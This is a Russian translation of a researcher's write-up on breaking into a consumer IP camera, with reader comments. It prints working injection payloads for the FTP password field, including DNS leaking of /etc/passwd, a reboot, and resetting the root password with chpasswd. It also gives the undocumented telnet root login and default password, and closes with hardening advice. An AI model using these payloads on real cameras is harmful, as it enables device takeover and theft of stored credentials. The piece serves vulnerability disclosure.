Я открыл коробку, и первое что увидел — это пароль из 4 цифр. Это пароль пользователя «Администратор», для настройки устройства. Смотрите видео ниже. Большинство людей не заботятся о том, чтобы поменять этот пароль.
Очевидно, что эта камера может общаться по Ethernet кабелю или Wi-Fi. Порадовала поддержка WPA2, однако люди склонны оставить Wi-Fi незащищённым.
Перехватив трафик между камерой и десктопным приложением, легко заметить что данные передаются по HTTP через 81 порт. Просто гениальное управление сеансом. Имя пользователя и пароль передаются в каждом GET запросе, без шифрования. Хоть Wi-Fi был защищён.
К счастью десктопное приложение сохраняет для вас пароль в открытом виде в файле:
"C:\Users\<USER>\AppData\Local\VirtualStore\Program Files (x86)\<REDACTED>\list.dat"
Эта замечательная камера обращается к облаку по UDP. Серверы находятся в Гонконге и Китае. Если вам инетересно, зачем ip-камере подключение к облаку, то всё просто. Эта камера умеет взаимодействовать с мобильными приложениями для Android и IOS. И пользователи подключаются к облаку, чтобы не заморачиваться с настройкой портов и DNS. Супер.
Натравим nmap на это устройство.
PORT STATE SERVICE VERSION
23/tcp open telnet BusyBox telnetd
81/tcp open http GoAhead-Webs httpd
| http-auth:
| HTTP/1.1 401 Unauthorized
|_ Digest algorithm=MD5 opaque=5ccc069c403ebaf9f0171e9517f40e41 qop=auth realm=GoAhead stale=FALSE nonce=99ff3efe612fa44cdc028c963765867b domain=:81
|_http-methods: No Allow or Public header in OPTIONS response (status code 400)
|_http-title: Document Error: Unauthorized
8600/tcp open tcpwrapped
Определился HTTP сервер, Telnet сервер на BusyBox, и какой-то порт 8600. В 27-страничном руководстве не говорится ни слова про Telnet. Как нам назвать этот порт? Отладочный порт? Или бекдор порт? Посмотрим. Я вручную попробовал несколько паролей для пользователя root, но ни один из них не сработал. Я двинулся дальше.
Двойная Слепая инъекция
IP-камера может загружать снимки на FTP сервер. Однако эта опция требует предварительной настройки. Когда я её настроил, оказалось что это не работает. Имя пользователя и пароль от сервера были не верными. После некоторой отладки выяснилось, проблема была в том, что у меня пароль содержал символ $. И я начал копать. Я был уверен, что эта уязвимость позволяет вставлять команды, но не знал как её использовать. Были многочисленные проблемы, усложняющие эксплуатацию. Я называю эту уязвимость двойной слепой инъекцией. Во первых мы не видим вывод этой команды, а во вторых, ёё выполнение происходит в другом потоке. Таким образом использование sleep ни к чему не приводит.
Но третья проблема была хуже всех — это ограничение в 32 символа. Я мог отправить некоторую информацию через DNS. И с помощью следующих команд, я мог получить текущий каталог:
$(ping%20-c%202%20%60pwd%60)
Или та же команда в читаемом виде:
$(ping -c 2 `pwd`)
но мне не удавалось вытащить информацию из /etc/passwd. Я попытался выполнить $(reboot), но это была очень плохая идея, и камера ушла в бесконечный ребут, а кнопки аппаратного сброса не работали. Весёлые времена.
Ниже представлены мои отчаянные попытки получить доступ к оболочке. Спасибо EQ за его помощь в процессе ночного взлома. И за его великие идеи.
$(cp /etc/passwd /tmp/a) ;copy /etc/passwd to a file which has a shorter name
$(cat /tmp/a|head -1>/tmp/b) ;filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) ;filter out unwanted characters
$(ping `cat /tmp/c`) ;leak it via DNS
После того, как я наконец взломал камеру, возникла следующая проблема. Там не было команд head, tr, less, more или cut. Небыло nc и даже bash`а не было…
Я даже пытался использовать commix, из видео на Youtube он подавал большие надежды. Commix похож на sqlmap но только для инъекций команд. Однако этот случай, для него был слишком сложен.
После многочисленных неудачных попыток, я наконец-то нашёл пароль. Сезам откройся.
$(echo 'root:passwd'|chpasswd)
Логинимся через telnet
(none) login: root
Password:
BusyBox v1.12.1 (2012-11-16 09:58:14 CST) built-in shell (ash)
Enter 'help' for a list of built-in commands.
#
Вау Вау :) Я быстро нашёл место, куда инъектилась моя команда:
# cat /tmp/ftpupdate.sh
/system/system/bin/ftp -n<<!
open ftp.site.com 21
user ftpuser $(echo 'root:passwd'|chpasswd)
binary
mkdir PSD-111111-REDACT
cd PSD-111111-REDACT
lcd /tmp
put 12.jpg 00_XX_XX_XX_XX_CA_PSD-111111-REDACT_0_20150926150327_2.jpg
close
bye
Всякий раз когда мы вводим команду в поле пароля, она копируется в этот скрипт, который затем исполняется. После этого я испугался, что забыл сохранить содержимое /etc/passwd, так как собирался взломать ещё и дефолтный пароль на telnet. К счастью, ребут восстановил исходные данные.
root:LSiuY7pOmZG2s:0:0:Administrator:/:/bin/sh
К сожалению запускать старый добрый John The Ripper не пришлось, так как гугл подсказал что это хеш пароля 123456. Это куда безопасней чем пароль багажа.
Пора резюмировать то, что у нас есть. Существует недокументированный telnet'овский порт IP-камеры, с паролем: 123456 для пользователя root, нет GUI, чтобы изменить этот пароль, а если изменить его с помощью консоли, он вернётся после следующей перезагрузки. Я думаю, что это смело можно назвать бэкдором.
С помощью root доступа к консоли мы можем получить пароль для FTP-сервера, для сервера SMTP (для оповещений), пароль WiFi (хотя мы, вероятно, его уже имеем), доступ к административному интерфейсу камеры, или просто можем перенастроить камеру как мы хотим. К счастью, чаще всего этот порт Telnet находится за NAT или брандмауэром, поэтому он не доступен из интернета. Но всегда есть исключения. К счастью, UPNP не позволяет настроить порт Telnet, чтобы он был доступен из Интернета, только камера HTTP порт 81. Вас защищает только тот пароль из 4 цифр, что стоит по умолчанию.
И последнее, всё работает от root`а, что не удивительно.
Мой список изменений
Я добавил эти строки в конец файла /system/init/ipcam.sh:
sleep 15
echo 'root:CorrectHorseBatteryRedStaple'|chpasswd
Кроме того, если вы хотите, вы можете отключить службу телнет закомментировав Telnetd в /system/init/ipcam.sh.
Если хотите, отключите подключение к облаку (вы не сможете использовать мобильные приложения), поместите следующую команду в начало файла /system/init/ipcam.sh
iptables -A OUTPUT -p udp ! --dport 53 -j DROP
Вы можете использовать OpenVPN для подключения к домашней сети, чтобы получить доступ к веб-интерфейсу камеры. Он работает с Android, IOS, и любой десктопной ОС.
99% людей, которые покупают эти IP-камеры думают, что они будут в безопасности с ней. Теперь я понимаю, наклейку, которая поставляется вместе с IP-камерой.
Так что, когда Вы в следующем эпизоде ??Mr Robot увидите как кто-то подключился к ip-камере через Telnet с root:123456, вы будете знать, что это печальная реальность.
Комментарии (56)
Dreyk
28.11.2016 17:54+20Я думаю, что это безопасно, чтобы сказать, что это бэкдор
думаю, этого достаточно, чтобы считать этот перевод
надмозговыммашинным =)
mickvav
28.11.2016 18:37Эмм, а как зовут нашего героя?
areht
28.11.2016 20:00Поиск по картинкам подсказывает, что Eminent eCamView IP Camera
PS. Впрочем, это не единственная китайская камера с телнетом и паролем.rPman
29.11.2016 14:15100 евро это ДЕШЕВАЯ? кошмар
я недавно приобрел tplink nc220 с ночной съемкой за 3999р. (из них примерно 500р доставка в мой регион), правда качество не фонтан, но даже есть H264 в добавление к mjpeg (предыдущая самая дешевая моя wifi камера стоила чуть меньше 3т.р. но без ir и поддержка была только mjpeg)
Камера поддерживает только режим просмотра через мобильное приложение но спасибо добрым людям распотрошили https://github.com/reald/nc220
p.s.ffplay rtmp://192.168.1.49:1935/stream/video/h264
video and audio stream
Works without authentication! (WTF?)
justK
28.11.2016 20:10Ну если на КДПВ герой обзора, то это Eminent EM6225 e-CamView Pan/Tilt HD IP Camera, судя по поиску гугла по картинкам.
Беглый взгляд на видео с анбоксингом подтверждает что да, это он. По крайней мере вкладыш в коробке с EM6225 соответствует последней картинке.
erlyvideo
28.11.2016 19:11+2к слову сказать: китайцы при обсуждении с ними прошивки запрещают менять рутовый пароль.
Londoner
28.11.2016 20:33+2А чем они это мотивируют?
erlyvideo
28.11.2016 22:25+1мотивация очень простая: любая модификация должна пройти через цикл тестирования.
Цикл тестирования у китайцев очень сильно отличается от советской космической приемки и не в лучшую сторону, плюс он скрыт у других китайцев, которые им не делятся с первыми китайцами.
В итоге непонятно как делить ответственность сторон за такие модификации.
FreeManOfPeace
28.11.2016 20:10+5У меня тут ещё похлеще, роутер ZXV10 H208L, выдан белтелекомом бесплатно в пользование.
Так вот, там есть интерфейс по HTTP/HTTPS (который что характерно корректно отображается только в Internet Explorer), документированный с ним всё нормально.
А есть telnet, на стандартном порте (23) и на нём стоит пароль который не меняется никак (root/root), то есть любой кто подключен к Wi-Fi сети может подключиться к роутеру и что нибудь натворить (для этого даже старого Java-фона с Wi-Fi хватит, даже там есть адекватные telnet клиенты, уж не говоря про обычный комп или ноутбук).
Спойлерrandom1st
29.11.2016 12:06+1https://geektimes.ru/post/180031/
https://habrahabr.ru/post/275819/FreeManOfPeace
29.11.2016 17:03Спасибо, теперь буду знать как менять пароль telnet если понадобится, но это врядли, сеть скрытая и пароль на Wi-Fi (WPA2-PSK) достаточно надёжен я думаю.
Psychosynthesis
28.11.2016 21:18+1Хорошая, годная статья. Не очень понял как он достучался до камеры после того как она «ушла в бесконечный ребут», но спишем это на мои невысокие знания юникс-лайк систем.
Было бы круто, если бы кто-нибудь собрал все найденные камеры с подобными бэкдорами в один пост.Evengard
28.11.2016 21:48+2Такие системы обычно «фиксятся» вырубанием полностью питания и подачей обратно. Такой хард-ресет.
hacklex
29.11.2016 06:19+7Было бы ещё круче, если бы этот кто-нибудь, подумав, всё-таки не постил этот большой пост.
alex_kott
29.11.2016 09:12+1Было бы круто, если бы кто-нибудь собрал все найденные камеры с подобными бэкдорами в один пост.
Боюсь, что это невозможно, ибо тысячи их!maxwolf
01.12.2016 02:19У меня даже начало появляться ощущение, что _все_ китайские железячники участвуют в чём-то вроде СОРМа, т.е. им сверху вменили в обязанность ставить закладки во все устройства… В последнее время не встречал ни одного обзора раздербаненной прошивки, где бы бэкдора не нашли :(
bolk
29.11.2016 07:41+4У вас там ограничение по длине строки, а вы символы щедрою рукою на антипаттерн «бесполезная кошка» расходуете:
$(cat /tmp/a|head -1>/tmp/b) #filter for the first row
$(cat</tmp/b|tr -d ' '>/tmp/c) #filter out unwanted charactersТак правильно:
$(head -1 /tmp/a>/tmp/b) #filter for the first row
$(tr -d ' '</tmp/b>/tmp/c) #filter out unwanted charactersNilis
29.11.2016 14:09-1> После того, как я наконец взломал камеру, возникла следующая проблема. Там не было команд head, tr, less, more или cut.
bolk
29.11.2016 14:14+2Вы почему-то не обратили на это внимание, но я упрощаю команды, взятые из статьи, а не свои придумываю. И после упрощения команд в строке становится меньше, а не больше.
alex_shkut
29.11.2016 16:52-1Там не было команд head, tr, less, more или cut. Небыло nc и даже bash`а не было…
из статьи…
ISVLabs
29.11.2016 16:52хорошая статья, заставила задуматься лишний раз. паранойей не страдаю, ибо всё за NAT. но тут ip-камера с али пришла и скоро будет в домашней сети. надо тоже пробежаться по ней внимательнее…
SuperZveruga
29.11.2016 21:13Вы за NAT, но взломы обычно идут изнутри, с вашего заражённого компьютера.
Vespertilio
30.11.2016 09:18Судя по бесконечным логам моего роутера, ломают таки из внешки. Я конечно не исключаю и троянчики изнутри сети, мне пока такие не попадались.
ISVLabs
30.11.2016 12:38ну, за это я спокоен. не хочу заниматься шапкозакидательством, но за почти 30 лет сидения за компом заражался раза 3, и то не критично. при этом, резидентные антивирусы на дух не переношу и никогда не ставил. личная дисциплина решает. плюс правило Неуловимого Джо :)))
а снаружи всё просто — попытка сунуться в 22/23 порт заносит ip в бан на 10 минут. Микротик рулит :)
galliard
29.11.2016 16:52+1Я вручную попробовал несколько паролей для пользователя root, но ни один из них не сработал
гугл подсказал что это хеш пароля 123456
По моему при ручном переборе паролей этот стоило пробовать в первую очередь.
Vengant
29.11.2016 17:57Не вижу особого практического смысла в таком бэкдоре. Доступ к камере из интернета чаще всего отсутствует, потому что мало кто вешает их на белые IP, а адекватные люди вообще убирают такие девайсы в изолированную сеть, где они общаются исключительно с сервером видеорегистрации.
SuperZveruga
29.11.2016 21:28Значит такая камера не подойдёт обычному пользователю без выделенного сервера.
erlyvideo
29.11.2016 23:04+1в последних ддосах участвовали миллионы IP камер, выставленных в интернет.
dkv
30.11.2016 15:55Ок, возьмём к примеру линейку китайских копеечных камер Sricam. У них выпилено всё, что можно, включая telnet, ftp, вебморду и Onvif обрезан по самую авторизацию. Соответственно даже RTSP светить в здравом уме во вне не рекомендуется, учитывая, что камера покажет видео любому желающему без пароля. В итоге стоят себе камерки и общаются с китайским облачком по своему протоколу поверх UDP, радуя пользователей мобильных приложений простотой своей настройки и эксплуатации. Ну разве что могут ещё картиночку на мыло скинуть иногда, почуяв движение в кадре. Если исключить вшитые самими китайцами бекдоры в свой UDP-протокол, какова вероятность того, что и эту камеру по команде направят ддосить жертву атаки?.
erlyvideo
30.11.2016 16:02Ооо! Китайцы, UDP, видео.
Подключаемся к камере и говорим ей, что мы с вооот того IP адреса и надо слать видео туда.dkv
30.11.2016 16:35Короче, и тут всё плохо. Возможно ли накатить на эту сри-камеру Flussonic Agent? Забирает ли он поток с камеры по RTSP или ему нужны иные механизмы взаимодействия?
erlyvideo
30.11.2016 17:50для этого нужно:
1) наличие на камере RTSP сервера
2) наличие на камере линукса (почти всегда)
3) наличие прошивки от камеры
4) некоторый элемент везения, что бы камера не была жестоко отгорожена
dkv
30.11.2016 18:59Отлично, жду статью на эту тему.
А в случае sricam и прочих клонов с прошивкой от gwell:
1) Присутствует.
2) Присутствует.
3) Обновления прошивки представляют из себя заголовок в 32 байта и jffs2 раздел с бинарниками, скриптами и ресурсами, в который доложить от себя можно что угодно. Все поля заголовка известны, загвоздка лишь в алгоритме подсчёта контрольной суммы, но и это решаемо за пару часов при необходимости.
4) См. пункт 3 ибо иных способов залить файлы в камеру не наблюдается.erlyvideo
01.12.2016 00:29мы встречались с ситуацией, когда камера через веб-интерфейс проверяет чуть ли не RSA подпись, а через tftp готова лить что угодно.
Короче, напишем =)
OlegAndr
01.12.2016 14:54Купил также IP камеру.
Запретил на роутере весь трафик от неё наружу, потому что какие-то DNS на 8.8.8.8, UPD и прочия, прочия,
8ajarz
«Если у вас паранойя, это еще не значит, что за вами не следят!» (с)
perfect_genius
*если нет паранойи
deus
нет, таки у автора правильная цитата
perfect_genius
Гугл:
Результат: 561 000)Результат: 373 000
Результат: 1 490 000
Pakos
Есть — 77к+111к результатов, нет — 99к результатов. Искать полную цитату.
perfect_genius
Давайте тогда логично.
«Если у вас ощущение, что за вами следят, это еще не значит, что за вами не следят». Не странновато ли звучит?
Nirvano
— «У тебя паранойя, за тобой никто не следит»
— «Если у меня паранойя, это еще не значит, что за мной не следят!» (с)
varnav
не так.
«Если у вас ложное ощущение что за вами следят, это ещё не означает что за вами и вправду не следят».
deaddolfin
не точное значение паранои
точнее будет «не обоснованное ощущение, что за вами следят»
тогда получается:
Если тебя считают психом с манией преследования (с параноей), это не значит что за тобой не следят
Kroid
Есть люди, сильно переживающие за свою анонимность. Есть окружающие их обычные люди, которые думают что-то вроде «Да ты просто параноик. Зачем большому брату / правительству / злобным хакерам следить за обычными людьми?» И уже в ответ на это родилась шутка «если ты параноик, то это не значит, что за тобой не следят».
FiLinX
Я не был параноиком, пока все не сговорились. 8)
perfect_genius
Если искать по полной фразе, то оба варианта близки, потому что в результатах поиска положительного варианта всё равно много отрицательных вариантов.
А в Яндексе отрицательный вариант больше на 120 тысяч.
Похоже, эта та фраза, по поводу которой спорить бесполезно, т.к. каждая применяется в своём контексте. Такое мне ещё не встречалось =)